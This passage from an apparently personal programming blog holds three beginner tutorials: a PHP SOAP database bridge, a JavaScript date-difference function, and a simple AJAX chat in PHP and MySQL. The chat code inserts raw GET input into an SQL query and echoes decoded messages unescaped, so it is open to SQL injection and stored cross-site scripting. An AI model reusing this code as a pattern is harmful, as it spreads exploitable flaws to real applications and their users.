$linkB = mysql_connect("hostB", "mysql_userB", "mysql_passwordB");
mysql_select_db("databaseB", $linkB);

// create the server object
$server = new soap_server;

// register the lookup service
$server->register('get_row');
$server->register('get_loop');

// send the result as a SOAP response over HTTP
$server->service($HTTP_RAW_POST_DATA);
?>


So, now it looks quite clear, huh? The application on server A is connecting to server B through bridge.php. The bridge.php become as database gateway, receive request, querying & send the result back. This is quite stupid, but also more reliable than a technique which I describe earlier (synchronization method) on this blog. Both of techniques were currently used on some of my projects showed on my homepage. You can simulate all appropriate to your existing situation. If you have other ideas or techniques, please let us know. See you on my next experiences…

Labels: , , ,

  Post a Comment

JavaScript: Return Multiple Values in Count Between Dates Function

JavaScript is one of parts that can’t be separated with web programming. Sometimes we usually depend on it, although we can solve the problem with another technique but the use of JavaScript is much helpful to support dynamic runtime application. For example manipulating or counting math is possibly without refreshing the page. Therefore, it is much simpler than AJAX. This article purposely dedicated to my self & any newbies which want to learn JavaScript methods.

Just like my own experience improving a page counting difference between two dates, here I found something new & I’d like to archived for me then share to you. The web page project it self are related to MySQL date field type & based on PHP programming. The subject was, how to calculate the year & month difference by both dates after the page loaded & once the date object is changed? As usual, I set the date interface with JavaScript so it would generate an interesting GUI just like common date object on Win32 programming.



Those dates GUI are compatible with date type format in MySQL (yyyy-mm-dd). When the date icon clicked, it will show small interactive calendar panel. The first date object I named with date_start, the second is date_end & sequentially, the difference year & month is n_year & n_month. The core date subtract function need 2 parameter dates & I created as well as it will return more than one value (year & month). On JavaScript, the treatment is put it on array mode. Pick out a small portion below:

function selisihTgl(dateEnd,dateStart)
{

return [yearAge, monthAge];
}


Displaying returned both value from function in array are simply called the array variable just like any others programming which is 0 based in bracket.

function fSelisih(sender)
{

obj.n_year.value=selisih[0]
obj.n_month.value=selisih[1]
}


That’s it, kinda simple isn’t it? By the way – unfortunately -, when dates changed, the date GUI object doesn’t have trigger event to call the function. So, I take <FORM> tag with onMouseMove event. Pretty dumb, but it works fine. Below is complete script from A to Z, check this out:

// portion of PHP code to retrieve both dates value from MySQL database
...
//
<HTML>
<HEAD>
<TITLE>Your Title Please</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
</HEAD>
<script language="JavaScript">
function selisihTgl(dateEnd,dateStart)
{
var baru = new Date(dateEnd.substring(0,4),
dateEnd.substring(5,7)-1,
dateEnd.substring(8,10));

var yearBaru = baru.getYear();
var monthBaru = baru.getMonth();
var dateBaru = baru.getDate();

var lama = new Date(dateStart.substring(0,4),
dateStart.substring(5,7)-1,
dateStart.substring(8,10));

var yearLama = lama.getYear();
var monthLama = lama.getMonth();
var dateLama = lama.getDate();

yearAge = yearBaru - yearLama;

if (monthBaru >= monthLama)
var monthAge = monthBaru - monthLama;
else
{
yearAge--;
var monthAge = 12 + monthBaru -monthLama;
}

if (dateBaru >= dateLama)
var dateAge = dateBaru - dateLama;
else
{
monthAge--;
var dateAge = 31 + dateBaru - dateLama;

if (monthAge < 0)
{
monthAge = 11;
yearAge--;
}
}

return [yearAge, monthAge];
}


function fSelisih(sender)
{
var obj=sender;
var selisih = selisihTgl(obj.date_end.value,obj.date_start.value);
obj.n_year.value=selisih[0]
obj.n_month.value=selisih[1]
}
</script>
<BODY onLoad="fSelisih(this)">
...
<form action="path/to/save/or/ignore/it" method="post" name="form1" onMouseMove="fSelisih(this)">
...
</form>
...
</BODY>
</HTML>


Don’t forget to insert the function within onLoad event on <BODY> tag to automatically count them expressly when the page are fully loaded.



Done! Enough for now lesson & I’ll be back with another unique tips & trick programming.

Labels: , , , , , , , ,

  Post a Comment

Simple AJAX Methodology

What is AJAX? Well you can see what is it stand for behind the word to the left image shown. But - for those who just heard AJAX acronym - what does it like? What does it purposed to? Many of AJAX online documentation you can pointed to and learned, but anyway, this official wiki page is a good start. As personally for me, AJAX give many useful things in a web programming. Generally, it can eliminated some limitations you will face in a pure HTML page. And somehow, it can make website more attractive & increasing interactivity.

Moreover, this blog article would like describe out about a simple AJAX implementation, especially just for beginner programmer like me ;-). AJAX technology is not a latest one in World Wide Web but it’s almost new to me. I’m not an expert but this is my first experience to AJAX and I’d like to share about it to you. Think about a job but you have to force finished it only with one tool. And this was happened to me when I had to create a web chat module written in PHP.

Basically, a common rule acceptable chat application is that it has capability to refresh the display automatically when everyone leave a message, for example: Yahoo Messenger or IRC. In a regular HTML page (web based application), you can use a META tag but it will refresh the whole page in a specified time. Look at an example below:

<meta equiv="refresh" content="5;URL=chat.php">


The lack is, the message you type in a input box will lost when the time achieved (5 second to get the page refreshed automatically – chat.php). Give it 60 second and you will get an unreliable chat application since there are long duration time to rendering a new screen.

The point is, you will never have a good chat application with above technique. But the mighty AJAX can. How? First of all, take a subject to the database side. This will hold the whole messages from users. Create a table contains 2 row in MySQL just like below script. (database name: chat)

# MySQL-Front Dump 2.5
#
# Host: xxx Database: chat
# --------------------------------------------------------
# Server version 4.1.11

USE chat;

#
# Table structure for table 'chat'
#

DROP TABLE IF EXISTS chat;
CREATE TABLE chat (
pesan text,
time time NOT NULL default '00:00:00'
) ENGINE=MyISAM DEFAULT CHARSET=latin1;


This is a simple table, you can rearrange it to your needs later. Anyway, look at the picture below and this what’s looks like with MySQLFront



Finally, I remade & simplify the chat AJAX script until it contain only 2 files; the chat library (chat.lib.php) & the form page (index.php).



Take a look at complete chat.lib.php class below:

<?php
class chat
{
var $host="your_db_host_server";
var $user="your_db_user";
var $db="chat";
var $pass="your_db_password";

function connect_easy($query)
{
$b = array();
if(!$connect = mysql_connect($this->host,$this->user,$this->pass));
if(!$dbr = mysql_select_db($this->db));
if(!($result = mysql_query($query)));
@$num = mysql_num_rows($result);
@$num2 = mysql_num_fields($result);
for($x=0;$x<$num;$x++)
{
$a = mysql_fetch_array($result);
for($i=0;$i<$num2;$i++)
{
$b[$x][$i] = html_entity_decode($a[$i]);
}
}
return $b;
}

function show($a)
{
if(count($a)>0)
{
$a=array_reverse($a);
if(count($a)<9)
$end=count($a);
else
$end=9;
for($i=0;$i<$end;$i++)
{
echo "<font size=2 color=red>".$a[$i][1]."</font>: ".$a[$i][0]."<br />";
}
}
}
}


All you need to do is change the variable of $host, $user and $pass and make an appropriate with your existing database server. Globally, this class has 2 function; the connection query & retrieval argument. Next, copy below script as form page and rename it as index.php.

<?
session_start();
require_once("chat.lib.php");
$action=$_GET["action"];
switch ($action)
{
case 'refresh' : $refresh = new chat();
$query="select * from chat";
$a=$refresh->connect_easy($query);
$refresh->show($a);
exit;
break;

case 'submit': $submit = new chat();
$query="insert into chat values ('".$_GET["chat"]."',NOW())"; $submit->connect_easy($query);
exit;
break;
}
?>

<html>
<head>
<title>AJAX Chat</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript">
function ajaxConstructor()
{
var request_;
var browser = navigator.appName;
if(browser == "Microsoft Internet Explorer")
{
request_ = new ActiveXObject("Microsoft.XMLHTTP");
}
else
{
request_ = new XMLHttpRequest();
}
return request_;
}

var http = new Array();
var http2 = new Array();

function getRefresh()
{
var curDateTime = new Date();
http[curDateTime] = ajaxConstructor();

http[curDateTime].open('get', 'index.php?action=refresh');

http[curDateTime].onreadystatechange = function()
{
if (http[curDateTime].readyState == 4)
{
if (http[curDateTime].status == 200 || http[curDateTime].status == 304)
{
var response = http[curDateTime].responseText;
document.getElementById('ajax_chat').innerHTML = response;
}
}
}

http[curDateTime].send(null);
}

function getSubmit()
{
var curDateTime = new Date();
http2[curDateTime] = ajaxConstructor();
http2[curDateTime].open('get', 'index.php?action=submit&chat=' + document.ajax.chat.value);
http2[curDateTime].send(null);
}

function kirim()
{
getSubmit();
document.ajax.chat.value=" ";
}

function refreshLayar()
{
getRefresh();
window.setTimeout("refreshLayar()", 2000);
}
</script>
</head>

<body onLoad="refreshLayar()">
<div id="ajax_chat" style="overflow=auto; width: 375px; height: 200px; border: 1px;" align="left"></div><br>
<form action="JavaScript: kirim()" method="get" name="ajax">
<font size="2" face="Trebuchet MS, Verdana, MS Sans Serif">Tulis Pesan: </font>
<input name="chat" type="text">
<input type="button" value="Kirim" onClick="kirim()">
</form>
</body>
</html>


All the both files must stay in the same path of a web server and make sure that you have a valid parameter database connection described earlier in chat.lib.php. Take a test and call the index page from any browser available from client.



That’s it & you’re done. The explanation of index page is very much simple. It contains some of core chat functions in JavaScript; the AJAX constructor, refreshing display, submit message & auto render screen in 2 second!. Got it? Well, class dismissed & hope this lesson benefit to us.

Labels: , ,

  Post a Comment